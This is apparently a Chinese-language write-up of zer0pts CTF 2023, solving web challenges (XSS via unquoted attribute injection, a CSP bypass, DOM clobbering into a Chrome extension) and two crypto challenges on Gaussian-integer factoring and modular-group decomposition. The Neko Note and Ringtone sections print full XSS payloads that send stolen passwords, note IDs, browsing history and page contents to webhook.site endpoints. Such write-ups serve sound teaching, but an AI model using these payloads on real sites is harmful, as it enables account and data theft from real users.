zer0pts CTF 2023 Writeups
今年和 Balsn 一起打 zer0pts CTF,有解了些 Web 和 Crypto 的題目。
Web
Neko Note
關鍵部分的 code 在這段:
var linkPattern = regexp.MustCompile(`\[([0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[0-9a-f]{4}-[0-9a-f]{12})\]`)
// replace [(note ID)] to links
func replaceLinks(note string) string {
return linkPattern.ReplaceAllStringFunc(note, func(s string) string {
id := strings.Trim(s, "[]")
note, ok := notes[id]
if !ok {
return s
}
title := html.EscapeString(note.Title)
return fmt.Sprintf(
"<a href=/note/%s title=%s>%s</a>", id, title, title,
)
})
}
// escape note to prevent XSS first, then replace newlines to <br> and render links
func renderNote(note string) string {
note = html.EscapeString(note)
note = strings.ReplaceAll(note, "\n", "<br>")
note = replaceLinks(note)
return note
}
其中 note
可控,而這段的內容會在前端使用 innerHTML
塞進去,所以要想辦法 XSS。這邊關鍵在於 html.EscapeString
只 escape 五個字元 <
>
&
'
"
,而它塞 a tag 的地方沒有 quote 起來,所以可以給 a 注入任意 attribute。
參考 XSS cheatsheet 可知有很多 attribute 可以用,但不需要 user interaction 的只有幾個而已。其中有一個是
<a id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></a>
但前端部分是需要 bot 按下按鈕之後才會觸發 innerHTML
的 assignment,所以這個無法觸發。不過後來發現其實用 onmouseover
或是 onpointerover
之類的 event 就行了,因為 await page.click('button');
似乎是直接抓 element 的 x, y 座標,然後點下去之後就不再移動 (至少 playwright 是這樣),因此只要 a 元素夠大,和按鈕的部分有重疊就能觸發。因此 x onmouseover=alert(origin)
即可 XSS。
這樣雖然已經可以取得 flag note 的 id,但還沒有密碼。這部分需要看 bot 的 code:
// post a note that has the flag
await page.goto(`${BASE_URL}/`);
await page.type('#title', 'Flag');
await page.type('#body', `The flag is: ${FLAG}`);
const password = crypto.randomBytes(64).toString('base64');
await page.type('#password', password);
await page.click('#submit');
// let's check the reported note
await page.goto(`${BASE_URL}/note/${id}`);
if (await page.$('input') != null) {
// the note is locked, so use master key to unlock
await page.type('input', MASTER_KEY);
await page.click('button');
// just in case there is a vuln like XSS, delete the password to prevent it from being stolen
const len = (await page.$eval('input', el => el.value)).length;
await page.focus('input');
for (let i = 0; i < len; i++) {
await page.keyboard.press('Backspace');
}
}
// it's ready now. click "Show the note" button
await page.click('button');
// done!
await wait(1000);
簡單來說 bot 只要檢測到 note 被鎖住,就會用 master key 解鎖,然後把密碼刪掉。而我們的 XSS 會在最下面那個 await page.click('button');
之後才會觸發,所以這時候 master key 已經被刪掉了。
這邊的技巧是透過 document.execCommand('undo')
把密碼還原回來,之後再從 DOM 中抓密碼就有了。
完整 payload:
xxxxxxxxxxxxxxxxxxxx onmouseover=document.execCommand(`undo`);pwd=document.querySelector(`input`).value;id=JSON.parse(localStorage.getItem(`neko-note-history`))[0].id;location=`https://webhook.site/9a5f00d1-194c-46af-b09a-b488a79d2787?id=`+id+`&pwd=`+pwd
Flag: zer0pts{neko_no_te_mo_karitai_m8jYx9WiTDY}
ScoreShare
這題看起來是 dom clobbering 的題目,不過有個很大的 unintended solution XDDD。關鍵在這邊:
@app.route("/api/score/<sid>")
def api_score(sid: str):
abc = db().hget(sid, 'abc')
if abc is None:
return flask.abort(404)
else:
return flask.Response(abc)
這邊 abc
內容是完全可控的,然後網站也有 CSP script-src 'self'
。所以這邊就先建一個 score 讓內容為 js fetch(...)
之類的,然後再建另一個 score 讓用 html <script src=/api/score/...></script>
引入就能不管 CSP 直接 XSS 了。
Flag: zer0pts{<iframe>_1s_a_s7r0ng_t00l_f0r_D0M_cl0bb3r1ng}
Ringtone
有個網站幾乎沒做什麼事,除了有個靜態頁面以外就只有一個隱藏的 flag route 而已。主要部分都在 chrome extension 的部分。
它有個 content script:
var form=document.getElementById("ring-form");
form.addEventListener("submit",
async (evt)=>{
evt.preventDefault();
var val=form.elements["message"].value;
console.log(val)
const response = await chrome.runtime.sendMessage({play:"play"})
if(response.text=="played successfully"){
console.log("yattaa")
}
}
)
chrome.runtime.onMessage.addListener(function (msg, sender, sendResponse) {
if (msg.text === 'report_back') {
console.log("msg received")
if(users.privileged.dataset.admin){
sendResponse(users.privileged.dataset.admin)
}
}
});
而那個 chrome extension 本身還有個 index.html
引入了這個 js:
function evalCode(code) {
const script = document.createElement('script');
script.src = '/?code=' +code;
document.documentElement.appendChild(script);
}
chrome.tabs.onUpdated.addListener(function (tabId,tab) {
console.log(tabId)
chrome.tabs.sendMessage(tabId, {text: 'report_back'}).then((resp)=>{
evalCode(resp)
})
});
而那個 /?code=
的部分則透過 background script 去處理,基本上就事直接 echo:
const prefix = location.origin + '/?code=';
self.onfetch= e => {
if (e.clientId && e.request.url.startsWith(prefix)) {
e.respondWith(new Response(e.request.url.slice(prefix.length), {
headers: { 'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8' },
}));
}
};
而 bot 一開始會開四個頁面,包含網站首頁、插件的 index.html
、flag 頁面和你所 submit 的 url。而 chrome.tabs.onUpdated
在有新分頁開啟時會觸發,所以在這個場景是自動觸發的,因此它會讓 content script 嘗試去讀取 users.privileged.dataset.admin
,然後送回去 index.html
頁面 eval。
同時那個靜態頁面上也有 document.getElementById("msg").innerHTML=DOMPurify.sanitize(inp,options)
,所以可以用 dom clobbering 去改 users.privileged.dataset.admin
的值:
<div id="users"></div>
<div id="privileged" data-admin="alert(1)"></div>
然後現在相當於有 chrome extension 環境的任意 code 執行了,而 manifest 有 "permissions":["history","activeTab","tabs"]
,因此可以直接讀 history 找到 flag 頁面的 url。
具體要執行的 js 不能有空白,弄一弄會變成這樣:
chrome.history.search({text:``},function(hist){u=`https://webhook.site/f71604a4-fc9b-4c99-9e0f-366529a29ac7`;navigator.sendBeacon(u,JSON.stringify(hist,null,2));for(let{url}of[hist][0]){fetch(url).then(function(r){return[r.text()][0]}).then(function(t){navigator.sendBeacon(u,t)})}})
全部串起來變成:
http://ringtone.2023.zer0pts.com:8505/?message=%3Cdiv%20id=users%3Ea%3C/div%3E%3Cdiv%20id=users%20name=privileged%20data-admin=%22chrome.history.search({text:``},function(hist){u=`https://webhook.site/f71604a4-fc9b-4c99-9e0f-366529a29ac7`;navigator.sendBeacon(u,JSON.stringify(hist,null,2));for(let{url}of[hist][0]){fetch(url).then(function(r){return[r.text()][0]}).then(function(t){navigator.sendBeacon(u,t)})}})%22%3Ea%3C/div%3E
Flag: zer0pts{extensions_are_really_muzukashi}
Crypto
*easy_factoring
隊友解的,後來自己再做一次
給予 ,求 兩質數,大概都 128 bits。
關鍵是注意到 ,所以在 Gaussian integers 上分解後求所有的 divisors 就能找到 形式的,也就有解了。
p = random_prime(1 << 128)
q = random_prime(1 << 128)
n = p * q
N = pow(p, 2) + pow(q, 2)
zn = ZZ[i](N)
for d in divisors(ZZ[i](N)):
pp, qq = map(int, d)
if is_prime(pp) and is_prime(qq):
print("yes", pp, qq)
moduhash
import os
flag = os.environb.get(b"FLAG", b"dummmmy{test_test_test}")
def S(z):
return -1/z
def T(z):
return z + 1
def gen_random_hash(n):
r = bytes([getrandbits(8) for _ in range(0, n)])
return r
def to_hash(st):
res = ""
for s in st:
sts = bin(s)[2:].zfill(8)
for x in sts:
if x == "0":
res += "S"
else:
res += "T"
return res
def hash(z, h):
res = z
for s in h:
if s == "S":
res = S(res)
elif s == "T":
res = T(res)
else:
exit()
return res
def hash_eq(h1, h2, CC):
for _ in range(100):
zr = CC.random_element()
h1zr = hash(zr, h1)
h2zr = hash(zr, h2)
if abs(h1zr - h2zr) > 1e-15:
return False
return True
CC = ComplexField(256)
for _ in range(100):
n = randint(32, 64)
h1 = to_hash(gen_random_hash(n))
zi = CC.random_element()
print(f"zi : {zi}")
print(f"h1(zi): {hash(zi, h1)}")
h2 = input("your hash> ")
if not hash_eq(h1, h2, CC):
print("your hash is incorrect")
exit()
print(flag)
這題會先生成一個由 S
和 T
組成的字串,然後 hash
函數會接收那個字串和一個複數 ,然後根據字串裡的 S
和 T
對 反覆套用 和 函數後回傳。其中 。
目標是它會給你一個輸入和輸出,要找出另一個字串可以對任何複數套用那個 hash
都能有一樣的結果。
查了一下知道這個東西是 Modular group,就是一堆
組合合成的一個群,其中 ,也同時能寫成矩陣形式:
而在它的 Group-theoretic properties 就能看到上面的那兩個 transform,而據它所說整個 modular group 都能由這兩個所生成。而 zi
到 h1(zi)
中間所經過的操作是一堆的 ,所以可知 應該可以用某個長這個形式的函數表達出來:
所以有 ,然後用 LLL 可求一個夠小的 出來。因此現在的問題是怎麼把
拆成很多 的乘積,其中
這邊我是參考 Decomposition of modular group elements 寫了一個演算法出來,不過遇到的一個小問題是它裡面的 不一定為正數,但字串的表達形式卻要求他一定要為正,所以只好自己小改了些東西才行。
from pwn import process, remote, context
CC = ComplexField(256)
def find(z, zz):
# (az+b)/(cz+d)=zz
# az+b=zz(cz+d)=c*z*zz+d*zz
zzz = z * zz
L = matrix(
QQ,
[
[z.real(), z.imag(), 1, 0, 0, 0],
[1, 0, 0, 1, 0, 0],
[-zzz.real(), -zzz.imag(), 0, 0, 1, 0],
[-zz.real(), -zz.imag(), 0, 0, 0, 1],
],
)
L[:, :2] *= 2**256
L = L.LLL()
return L[0][2:]
def positive_mod(x, y):
r = x % y
if r < 0:
r -= y
return r
def decompose(a, b, c, d):
M = matrix(ZZ, [[a, b], [c, d]])
S = matrix(ZZ, [[0, -1], [1, 0]])
T = matrix(ZZ, [[1, 1], [0, 1]])
M0 = M
res = []
res_s = ""
for _ in range(200):
# print(M)
if M[0, 0] == 0 or M[1, 0] == 0:
break
while abs(M[1, 0]) > abs(M[0, 0]):
M = ~S * M
res.append(S)
res_s += "S"
while sign(M[0, 0]) != sign(M[1, 0]):
M = ~S * M
res.append(S)
res_s += "S"
a = M[0, 0]
c = M[1, 0]
r = positive_mod(a, c)
q = (a - r) // c
# print(a, c)
# print(r, q)
# print()
M = T ^ (-q) * M
res.append(T ^ q)
assert q >= 0, ":("
res_s += "T" * int(q)
assert prod(res) * M == M0
return res, res_s[::-1]
# io = process(["sage", "server.sage"])
io = remote("crypto.2023.zer0pts.com", int(10444))
for i in range(100):
io.recvuntil(b"zi\t: ")
zi = CC(io.recvlineS().strip())
io.recvuntil(b"h1(zi): ")
h1zi = CC(io.recvlineS().strip())
print(i, zi, h1zi)
a, b, c, d = find(zi, h1zi)
_, h2 = decompose(a, b, c, d)
print(h2)
io.sendlineafter(b"your hash> ", h2)
io.interactive()
# zer0pts{Th3_m0dul4r_gr0up_1s_g3n3r4t3d_by_4cti0ns_S_T}